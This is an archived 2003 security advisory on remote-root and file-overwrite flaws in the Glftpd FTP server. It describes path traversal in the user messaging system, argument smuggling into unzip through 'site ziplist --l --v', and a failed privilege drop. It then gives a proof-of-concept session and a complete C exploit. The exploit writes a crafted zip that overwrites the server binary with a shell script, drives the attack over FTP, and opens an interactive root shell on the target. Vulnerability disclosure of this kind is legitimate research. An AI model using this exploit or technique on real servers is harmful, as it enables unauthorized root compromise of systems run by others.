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TUCoPS :: Linux :: Apps A-M :: lnx6018.htm

Glftpd remote root and other vulnerabilities



24th Feb 2003 [SBWID-6018]
COMMAND

	Glftpd remote root and other vulnerabilities

SYSTEMS AFFECTED

	Glftpd 1.25-1.28

PROBLEM

	In Karol WiÍsek [appelast-at-bsquad.sm.pl] advisory :
	
	 http://bsquad.sm.pl/
	
	 I. BACKGROUND
	
	Glftpd is a ftpd server, but it wasn't  designed  as  a  replacement  of
	fptd server. It is a kind of warez ftpd ( like serv-u,  war-ftpd  ).  It
	has its own users, groups etc. ( it doesn't use system files ).  It  has
	built in request and message system, which allow to  communicate  betwen
	users. After connecting it chroots,  and  moreover  users  are  chrooted
	second time. The second chroot is  not  typical  chroot  (  for  example
	commands could modify files outside of chroot ), but users can  not  get
	out of it.
	
	 II. DESCRIPTION
	
	1) Writing to any file with effective uid equal 0
	
	Messaging system  which  allows  users  to  communicate  each  other  is
	vulnerable to simple attack, which allows any logged user to  apend  his
	own line ( unfortunatly formatted - which dissallows  uid  escalation  )
	to any file.
	
	Sending messages uses following algoritm :
	
	* Check if user exists by stat'ing /ftp-data/users/username
	
	where username is not checked at all.
	
	* Open file /ftp-data/users/username in append mode and write  formatted
	line.
	
	Attacker by setting destination username  to  "../../site/incoming/file"
	could destroy target file ( f.ex. zipfile ).
	
	2) Unpacking uploaded files
	
	Version 1.25 allows users to check, list and varify uploaded  zip  files
	using unzip. This id done using following commands.
	
	System command                  Glftpd command
	
	unzip -tqq file                 site zipchk file
	unzip -l -v file                site ziplist file
	unzip -p -C file *.nfo *.NFO    site nfo file
	
	There is possibility to pass  filename  with  additional  parameters  to
	unzip. Unfortunatly unzip dissallows to mix  parameters,  so  extracting
	uor file is rather impossible, but really ???
	
	After checking argument parsing  function  in  unzip  we  discover  that
	there is an easy way to trick unzip,  using  the  following  command  we
	obligate unzip to extract our file.
	
	unzip -l -v --l --v file
	
	( for more details see unzip.c )
	
	So, command site ziplist --l --v file, extracts our file
	
	3) Bad euid restoring
	
	All config, messages, help files are owned by  root,  so  any  password,
	tagline changing, message sending are connected with temporary  changing
	of euid. There is one situation where restoring old euid is broken.
	
	On first console :
	
	[root@siuwax /]# ftp siuwax 221
	username: appelast
	password: v
	>
	
	On second console :
	[root@siuwax /]# ps -axu | grep glftpd
	#100      1301  0.1  0.9  2568 1196 ?        S    17:08   0:00
	glftpd:siuwax: appelast
	[root@siuwax /]# strace -f -p 1301 -o gl-onel-log
	 
	Back to first :
	>site onel k
	
	Back to second :
	^C
	[root@siuwax /]# ps -axu | grep glftpd
	root      1301  0.0  0.9  2580 1212 ?        S    17:08   0:00
	glftpd:siuwax: appelast
	Oh, what happened :> ??
	
	[root@siuwax /]# cat gl-onel-log
	1301  read(0, "SITE onel k\r\n", 1024) = 16
	1301  alarm(900)                        = 888
	1301  getuid()                          = 0
	1301  getpid()                          = 1301
	1301  rt_sigprocmask(SIG_BLOCK, ~[STKFLT CONT PWR RT_0 RT_1 RT_2 RT_3
	RT_4 RT_5 RT_6 RT_7 RT_8 RT_9 RT_10 RT_11 RT_12 RT_13 RT_14 RT_15
	RT_16 RT_17 RT_18 RT_19 RT_20 RT_21 RT_22 RT_23 RT_24 RT_25 RT_26
	RT_27 RT_28 RT_29 RT_30], [], 8) = 0
	
	- - - -HERE FIRST->  1301  setresuid(ruid 4294967295, euid 0, suid
	4294967295) = 0
	
	1301  open("/ftp-data/misc/oneliners.1301.temp",
	O_WRONLY|O_CREAT|O_TRUNC, 0666) = 6
	1301  open("/ftp-data/misc/oneliners", O_RDONLY) = 7
	1301  fstat(7, {st_mode=S_IFREG|0666, st_size=428, ...}) = 0
	1301  old_mmap(NULL, 4096, PROT_READ|PROT_WRITE,
	MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4015e000
	1301  read(7, "appelast                10409213"..., 4096) = 428
	1301  read(7, "", 4096)                 = 0
	1301  fstat(6, {st_mode=S_IFREG|0666, st_size=0, ...}) = 0
	1301  old_mmap(NULL, 4096, PROT_READ|PROT_WRITE,
	MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4015f000
	1301  time(NULL)                        = 1040922613
	1301  close(7)                          = 0
	1301  munmap(0x4015e000, 4096)          = 0
	1301  write(6, "appelast                10409213"..., 535) = 535
	1301  close(6)                          = 0
	1301  munmap(0x4015f000, 4096)          = 0
	1301  unlink("/ftp-data/misc/oneliners") = 0
	1301  rename("/ftp-data/misc/oneliners.1301.temp",
	"/ftp-data/misc/oneliners") = 0
	
	- - - -HERE SECOND-> 1301  setresuid(ruid 4294967295, euid 0, suid
	4294967295) = 0
	
	1301  rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	1301  write(1, "200 Your oneliner has been added"..., 35) = 35
	1301  rt_sigaction(SIGALRM, {0x8058f60, [ALRM],
	SA_RESTART|0x4000000}, {0x8058f60, [ALRM], SA_RESTART|0x4000000}, 8)
	= 0
	1301  gettimeofday({1040922613, 745799}, NULL) = 0
	1301  time([1040922613])                = 1040922613
	1301  read(0,  <unfinished ...>
	
	Probably second setresuid should set euid to 100, but it doesn't.
	
	 III. ANALYSIS
	
	Logged users could append to any file destroying it ( it could be  fixed
	by manualy editing ). Also logged users could gain  root  privileges  in
	chroot, and also in all system ( see PoC ). Glftpd is a warez ftpd,  and
	there is often practised look only acounts ( for everyone ), which  also
	allows expliting.
	
	 IV.  PROOF OF CONCEPT
	
	Root compromise with glftpd 1.25 ( Linux )
	
	[root@siuwax /]# ftp 127.0.0.1 221
	username : appelast
	password : v
	>cd incoming
	>put kkk.zip
	>site onel
	>site ziplist --l --v -o kkk.zip
	>quit
	
	[root@siuwax /]# telnet 127.0.0.1 221
	bash#
	
	File kkk.zip is prepared to overwrite /bin/glftpd, which is envoked
	from xinetd with uid=0. 
	And contains :
	#!/bin/sh
	sh -i
	
	 V.   DETECTION
	
	Glftpd 1.25 is confirmed vulnerable to all 3 attacks, since Glftpd  1.26
	commands site [nfo|ziplist|zipchk] was disabled and changed, but rest  2
	bugs are present in all version including newest 1.28.
	
	 VI.  EXAMPLE EXPLOIT
	
	/* 
	Glftpd 1.25 PoC remote root exploit 
	appelast [appelast-at-bsquad.sm.pl]
	
	We don't need writable directory to 
	upload our file, we change our euid 
	before it to 0 :> 
	
	*/
	
	#define TMP_ZIP         "/tmp/kakaka.zip"
	#define TMP_CMDS                "/tmp/glcmds"
	
	#include <sys/types.h>
	#include <sys/stat.h>
	#include <fcntl.h>
	#include <stdio.h>
	#include <unistd.h>
	#include <sys/socket.h>
	#include <netinet/in.h>
	#include <netdb.h>
	
	
	// shellcode ;)
	signed int
	shellcode[221]={80,75,3,4,10,0,0,0,0,0,83,125,-102,45,98,68,108,-96,15
	,0,0,0,15,0,0,0,37,0,21,0,46,46,47,46,46,47,46,46,47,46,46,47,46,46,47
	,46,46,47,46,46,47,46,46,47,46,46,47,98,105,110,47,103,108,102,116,112
	,100,85,84,9,0,3,110,35,11,62,-33,99,11,62,85,120,4,0,0,0,0,0,35,33,47
	,98,105,110,47,115,104,10,115,104,32,45,105,80,75,1,2,23,3,10,0,0,0,0,
	0,83,125,-102,45,98,68,108,-96,15,0,0,0,15,0,0,0,37,0,13,0,0,0,0,0,1,0
	,0,0,-19,-127,0,0,0,0,46,46,47,46,46,47,46,46,47,46,46,47,46,46,47,46,
	46,47,46,46,47,46,46,47,46,46,47,98,105,110,47,103,108,102,116,112,100
	,85,84,5,0,3,110,35,11,62,85,120,0,0,80,75,5,6,0,0,0,0,1,0,1,0,96,0,0,
	0,103,0,0,0,0,0};
	
	void usage(char *progname) {
	    printf("Glftpd 1.25 remote root exploit\n"
	           "appelast [appelast-at-bsquad.sm.pl]\n"
	           "usage : %s host port user password\n\n"
	           ,progname);
	}
	
	int openhost(char *host,int port) {
	   int sock;
	   struct sockaddr_in addr;
	   struct hostent *he;
	
	   he=gethostbyname(host);
	
	   if (he==NULL) return -1;
	
	   sock=socket(AF_INET, SOCK_STREAM, getprotobyname("tcp")->p_proto);
	
	   if (sock==-1) return -1;
	
	   memcpy(&addr.sin_addr, he->h_addr, he->h_length);
	   addr.sin_family=AF_INET;
	   addr.sin_port=htons(port);
	
	   if(connect(sock, (struct sockaddr *)&addr, sizeof(addr)) == -1)
	sock=-1;
	
	   return sock;
	}
	
	void openshell(int sock)
	{
	 char buf[1024];
	 fd_set rset;
	 int i;
	 while (1)
	 {
	  FD_ZERO(&rset);
	  FD_SET(sock,&rset);
	  FD_SET(STDIN_FILENO,&rset);
	  select(sock+1,&rset,NULL,NULL,NULL);
	  if (FD_ISSET(sock,&rset))
	  {
	   i=read(sock,buf,1024);
	   if (i <= 0)
	   {
	     printf("The connection was closed!\n");
	     exit(0);
	   }
	   buf[i]=0;
	   puts(buf);
	  }
	  if (FD_ISSET(STDIN_FILENO,&rset))
	  {
	   i=read(STDIN_FILENO,buf,1024);
	   if (i>0)
	   {
	    buf[i]=0;
	    write(sock,buf,i);
	   }
	  }
	 }
	}
	
	
	int main(int argc, char *argv[]) {
	    int fd, i;
	    char buf[1024];
	    char user[25], pass[25];
	    memset(buf,0,1024);
	    usage(argv[0]);
	    if (argc!=5)
	        exit(0);
	    snprintf(user, 24,"%s", argv[3]);
	    snprintf(pass, 24,"%s", argv[4]);
	    
	    printf("Creating evil .zip file : ");
	    
	    fd = open(TMP_ZIP,O_RDWR|O_CREAT|O_TRUNC,0600);
	    if (fd<0)
	        {
	        perror("open");
	        exit(0);
	        }
	    for (i=0; i<221; i++)
	        {
	        (int)buf[0]=shellcode[i];
	        buf[1]=0;
	        write(fd,buf,1);
	        }
	    close(fd);
	    printf("DONE\n");
	    
	    printf("Creating commands file : ");
	    
	    fd = open(TMP_CMDS,O_RDWR|O_CREAT|O_TRUNC,0600);
	    if (fd<0)
	        {
	        perror("open");
	        exit(0);
	        }
	        
	    sprintf(buf,"quote user %s\n"
	    "quote pass %s\n"
	    "site onel hellou\n"
	    "put %s %s\n"
	    "site ziplist --l --v -o %s\n"
	    "del %s\n", user, pass, TMP_ZIP, strrchr(TMP_ZIP, 0x2f)+1,
	strrchr(TMP_ZIP, 0x2f)+1, strrchr(TMP_ZIP, 0x2f)+1);
	    
	    write(fd, buf, strlen(buf));
	    close(fd);
	    
	    printf("DONE\n");
	    
	    printf("Exploiting ... ");
	    
	    snprintf(buf, 1023, "ftp -n %s %i < /tmp/glcmds", argv[1],
	atoi(argv[2])); 
	    
	    system(buf);
	    
	    unlink(TMP_ZIP);
	    unlink(TMP_CMDS);
	    
	    printf("DONE\n");
	    
	    printf("Connecting to rootshell\n");
	    
	    openshell(openhost(argv[1],atoi(argv[2])));
	    
	    return 0;
	    }
	

SOLUTION

	Since Glftpd 1.26 commands site [nfo|ziplist|zipchk]  was  disabled  and
	changed, but rest 2 bugs are present in  all  version  including  newest
	1.28.


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